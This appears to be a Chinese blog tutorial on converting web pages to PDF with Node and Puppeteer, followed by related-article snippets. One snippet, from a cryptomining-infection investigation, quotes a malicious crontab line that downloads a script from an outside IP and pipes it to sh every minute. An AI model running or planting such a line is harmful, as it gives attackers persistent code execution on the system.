使用node将页面转为pdf?(puppeteer实现)
本文章适合win系统下实验(linux,mac可能会出现些莫名其妙的bug我也不会解决)
具体过程
- 首先了解什么时无头浏览器
- 启动无头浏览器
- 打开指定的url页面
- 设置导出pdf格式
- 开始转化
- 完整基础代码
首先了解什么时无头浏览器
没有界面的浏览器
下载puppeteer
npm i puppeteer
下载中可能会出现文件,中途不要暂停,这个不用管

启动无头浏览器
const browser = await puppeteer.launch({args: ['--no-sandbox', '--disable-setuid-sandbox', '--enable-accelerated-2d-canvas', '--enable-aggressive-domstorage-flushing'],ignoreHTTPSErrors: true,headless: true,timeout: 60000,});
打开指定的url页面
const page = await browser.newPage();await page.setViewport({width: 640,height: 480,deviceScaleFactor: 1,});//将调整页面大小。许多网站不希望手机改变大小,因此你应该在导航到页面之前设置视口。let waitUntil;;waitUntil = 'networkidle0';await page.goto(url, { waitUntil });
waitUntil = 'networkidle0';
这个参数就是当网络在一定时间内不在请求时开始执行(进入一个网页肯定会加载相应的js,css文件)
设置导出pdf格式
const options = {//纸张尺寸// format: 'A4',width: '800px',height: '1130px',//打印背景,默认为falseprintBackground: true,//不展示页眉displayHeaderFooter: true,//页眉与页脚样式,可在此处展示页码等headerTemplate: '',footerTemplate: '',path: filePath //指定生成的pdf文件存放路径};
开始转化
await page.pdf(options);//关闭页面page.close();//关闭 chromiumbrowser.close();
完整基础代码
直接放在index.js文件里
const puppeteer = require('puppeteer');async function generatePdf(url, filePath) {//启动无头浏览器const browser = await puppeteer.launch({args: ['--no-sandbox', '--disable-setuid-sandbox', '--enable-accelerated-2d-canvas', '--enable-aggressive-domstorage-flushing'],ignoreHTTPSErrors: true,headless: true,timeout: 60000,}); //PDF 生成仅在无界面模式支持, 调试完记得设为 trueconst page = await browser.newPage();await page.setViewport({width: 640,height: 480,deviceScaleFactor: 1,});//将调整页面大小。许多网站不希望手机改变大小,因此你应该在导航到页面之前设置视口。let waitUntil;;waitUntil = 'networkidle0';await page.goto(url, { waitUntil });await page.waitForSelector('.mod-article-content');//等到这个元素出现时开始转化//导出PDF的格式const options = {//纸张尺寸// format: 'A4',width: '800px',height: '1130px',//打印背景,默认为falseprintBackground: true,//不展示页眉displayHeaderFooter: true,//页眉与页脚样式,可在此处展示页码等headerTemplate: '',footerTemplate: '',path: filePath //指定生成的pdf文件存放路径};await page.pdf(options);//关闭页面page.close();//关闭 chromiumbrowser.close();
}
generatePdf('https://cloud.tencent.com/developer/article/1417076', 'a.pdf')
然后启动node index.js
接着你会发现多了一个a.pdf文件
相关文章:
使用node将页面转为pdf?(puppeteer实现)
本文章适合win系统下实验(linux,mac可能会出现些莫名其妙的bug我也不会解决) 具体过程 首先了解什么时无头浏览器启动无头浏览器打开指定的url页面设置导出pdf格式开始转化完整基础代码 首先了解什么时无头浏览器 没有界面的浏览器下载pupp…...
龙迅#LT8711H支持TYPE-C/DP/EDP转HDMI功能应用,分辨率支持 1080p@60Hz,芯片内置固件!
1. 概述 LT8711H是一款高性能 Type-C/DP1.2/EDP 转 HD-DVI1.3 转换器,设计用于将 USB Type-C 源或 DP1.2 源连接到 HD-DVI1.3 接收器。 该LT8711H集成了符合 DP1.2 标准的接收器和符合 HD-DVI1.3 标准的发射器。此外,还包括两个用于 CC 通信的 CC 控制器…...
WPF中Ignorable
在WPF中,“Ignorable”这个概念主要与XAML解析和标记扩展有关。当WPF的XAML解析器遇到一个它不认识的元素或属性时,它会抛出一个异常,这是因为默认情况下,WPF要求所有XAML都是完全可识别和可解析的。然而,在某些情况下…...
系统安全及应用11
一个新的服务器到手之后,部署服务器的初始化 1、配置IP地址 网关 dns解析(static)内网和外网 2、安装源外网(在线即可),内网(只能用源码包编译安装) 3、磁盘分区,lvm …...
vue中SKU实现
通过发送请求获取商品详情数据,包括商品规格(specs)和库存信息(skus)。 选中状态更新:根据当前状态进行激活或取消激活的逻辑,通过为每个规格项添加的“selected”字段来标识是否激活,同时利用样式处理,通过动态类属性…...
闭眼推荐的,新手教师工具
亲爱的老师们,尤其是那些刚踏入教育界的新手教师们,还在为如何高效管理课堂、如何制作精美的教学材料而头疼吗?让我来分享几款教育界口碑爆棚的工具。 易查分小程序 易查分是一款超级方便的成绩查询工具,一分钟就能上传成绩并生成…...
charles抓包工具之---添加vConsole
Charles Rewrite重写(详解!必懂系列)-CSDN博客 chales 重写/断点/映射/手机代理/其他主机代理_charles 批量映射-CSDN博客 在 Charles 上添加 rewrite 规则,以便在响应的 <head> 部分添加 vConsole,可以按照以下步骤操作:…...
Java多线程-初阶1
博主主页: 码农派大星. 数据结构专栏:Java数据结构 数据库专栏:MySQL数据库 JavaEE专栏:JavaEE 关注博主带你了解更多数据结构知识 1. 认识线程(Thread) 1.线程是什么 ⼀个线程就是⼀个 "执⾏流". 每个线程之间都可以按照顺序执⾏⾃⼰的代…...
C++二级指针的指向与解引用
本文算是作者对于二级指针学习的一些总结或者说是刨根问底,如果有表述错误,还请各位大神指正。 我们首先定义一个整型a,令a 5,再分别定义指针p和二级指针ptr int a 5; int *p &a; int **ptr &p;我们不妨假设a的地址是…...
Pandas处理时间差的4种表达方式
在Pandas中处理时间差(timedelta)时,有多种方式可以表达时间差。以下是总结的Pandas时间差的四种主要表达方式和相关信息: 目录 一、使用pd.Timedelta直接创建 二、使用DataFrame中计算时间差 三、转换为分钟数表示 四、使用…...
C语言---指针part2
指针操作 一维 字符数组 1. 字符型数组 --- 存放字符串的 char s[] "hello"; [h ] <---0x1000 [e ] [l ] [l ] [o ] [\0] //谁能这块空间的地址 --- 数组名 s --->怎么能保存s所代表的地址值 //s数组名 --- 数组首元素的地址 &s[0] --->地…...
DNS域名
DNS域名 DNS是域名系统的简称 域名和ip地址之间的映射关系 互联网中,ip地址是通信的唯一标识 访问网站,域名,ip地址不好记,域名朗朗上口,好记。 域名解析的目的就是为了实现,访问域名就等于访问ip地址…...
19 - 查询结果的质量和占比(高频 SQL 50 题基础版)
19 - 查询结果的质量和占比 -- round(avg(rating<3)*100,2)round(avg(if(rating<3,1,0))*100,2) select query_name,round(avg(rating/position),2) quality,round(avg(if(rating<3,1,0))*100,2) poor_query_percentage fromQueries group byquery_name;...
一次挖矿病毒的排查过程
目录 一、查看定时任务二、处理方法 一、查看定时任务 # crontab -l * * * * * wget -q -O - http://185.122.204.197/unk.sh | sh > /dev/null 2>&1 0 */1 * * * /usr/local/nginx/sbin/nginx -s reload发现异常任务: * * * * * wget -q -O - http://1…...
【JMeter接口测试工具】第二节.JMeter基本功能介绍(上)【入门篇】
文章目录 前言一、获取所有学院信息接口执行二、线程组的介绍 2.1 并发和顺序执行 2.2 优先和最后执行线程组 2.3 线程组的设置细节三、HTTP请求的介绍四、查看结果树的配置使用总结 前言 一、获取所有学院信息接口执行 我们先针对一条简单的接口进行执行&#…...
ultralytics solutions快速解决方案,快速实现某些场景的图像解决方案
参考: https://docs.ultralytics.com/solutions/ 在不断更新,已经有一些场景的解决方案 ultralytics 8.2.27 一、区域统计 1、自定义区域统计数量 https://docs.ultralytics.com/guides/region-counting/ 1、自定义画框,比如矩形框四个点的坐标获取 通过cv2点击图片获…...
iphone突然黑屏?3种方法解决问题!
iphone突然黑屏这应该是出现了iOS系统故障。一般来说,无摔落、浸水等情况造成设备出现硬件问题,多半是设备出现了系统故障。 虽然苹果iOS系统性能是较优的,但还是可能因各种使用情况出现不一样的iOS系统问题,包括升级、越狱、安装…...
nn.GRU和nn.GRUCell区别
nn.GRU和nn.GRUCell在PyTorch中都是用于实现门控循环单元(Gated Recurrent Unit, GRU)的模块,但它们之间存在一些区别: 输入维度: nn.GRU是一个完整的GRU层,它接受一个3D输入张量(batch_size, seq_length, input_size),输出也是一个3D张量(batch_size, seq_length, hidden_si…...
Coolmuster Android助手评测:简化Android到电脑的联系人传输
产品概述 Coolmuster Android助手是一款旨在简化Android设备与计算机之间数据管理和传输过程的全面工具。它以用户友好的界面和全面的功能,成为寻求高效数据管理解决方案的Android用户的热门选择。 主要特点和功能Coolmuster Android助手拥有一系列使其成为管理Andr…...
【杂记-webshell恶意脚本木马】
一、webshell概述及分类 概述 webshell,通常作为web应用管理工具,运维人员可以通过 webshell (服务器管理工具)针对 web 服务器进行日常的运维管理以及系统上线更新等,攻击者也可以通过 webshell (后门程序…...
Claude Code 使用秘籍大公开!从零基础到精通,字节跳动官方手册等你拿!
本文提供了一份详尽的 Claude Code 使用手册,专为从零基础到精通的学习者设计。手册采用手把手教学方式,步骤清晰,技巧实用,无需复杂代码知识即可上手。文中特别强调了对使用 Gemini3 的伙伴的适用性,并鼓励读者点赞、…...
腾讯云推出“领域虾”CloudQ:把企业云上治理,装进你每天都在用的聊天框
好家伙,腾讯云又给龙虾市场上新了。最近,腾讯云官宣的 CloudQ IT 老师傅(全球首款 ITOM“领域虾”),直接把云上的技术难题给办了。你甚至都不用登录控制台、不用敲命令,在微信里聊聊天就能完成架构巡检、风…...
彻底卸载Windows 10 OneDrive:开源脚本的完整解决方案
彻底卸载Windows 10 OneDrive:开源脚本的完整解决方案 【免费下载链接】OneDrive-Uninstaller Batch script to completely uninstall OneDrive in Windows 10 项目地址: https://gitcode.com/gh_mirrors/on/OneDrive-Uninstaller 你是否曾为Windows 10内置的…...
3步解锁图表数据:用计算机视觉将图像转化为结构化数据的实战秘籍
3步解锁图表数据:用计算机视觉将图像转化为结构化数据的实战秘籍 【免费下载链接】WebPlotDigitizer Computer vision assisted tool to extract numerical data from plot images. 项目地址: https://gitcode.com/gh_mirrors/we/WebPlotDigitizer 你是否曾面…...
Vue生命周期的灵魂拷问:created vs mounted,数据请求到底该在哪?
Vue生命周期的灵魂拷问:created vs mounted,数据请求到底该在哪? 在Vue.js的世界里,生命周期钩子是赋予开发者“上帝视角”的魔法,让我们能在组件从诞生到消亡的整个过程中,在精确的时机注入自定义逻辑。其…...
FireRedASR Pro效果展示:长难句识别准确,抗噪能力惊艳
FireRedASR Pro效果展示:长难句识别准确,抗噪能力惊艳 1. 语音识别新标杆 在嘈杂的会议室里,一段夹杂着咳嗽声和键盘敲击的录音正在播放。令人惊讶的是,FireRedASR Pro几乎一字不差地将这段对话转换成了文字,连专业术…...
AI 学习笔记:LLM 的部署与测试
关于 LLM 的本地部署 正如我之前在《[[关于 AI 的学习路线图]]》一文中所提到的,从学习的角度来说,如果我们要想切实了解 LLM 在计算机软件系统中所处的位置,以及它在生产环境中所扮演的角色,最直接的方式就是尝试将其部署到我们…...
3步掌握本地语音合成:tts-vue离线语音包配置终极指南
3步掌握本地语音合成:tts-vue离线语音包配置终极指南 【免费下载链接】tts-vue 🎤 微软语音合成工具,使用 Electron Vue ElementPlus Vite 构建。 项目地址: https://gitcode.com/gh_mirrors/tt/tts-vue 还在为网络不稳定导致的语音…...
工厂化循环水产养殖系统:数据驱动,养殖更精准
工厂化循环水产养殖系统解决方案,以物联网感知、智能控制、大数据分析、智能决策为核心,构建“水质精准调控智能投喂生长监测病害报警运维管理循环水处理”全链路闭环,实现高密度、零换水(或微换水)、高产出、低风险的现代化养殖。 通过物联网…...
实战应用:基于快马平台开发类似ahflt.sys的文件操作监控工具
实战应用:基于快马平台开发类似ahflt.sys的文件操作监控工具 最近在研究Windows内核驱动开发时,发现ahflt.sys这类文件系统过滤驱动特别有意思。它能够在系统底层监控文件操作,实现各种高级功能。作为一个开发者,我决定在InsCode…...
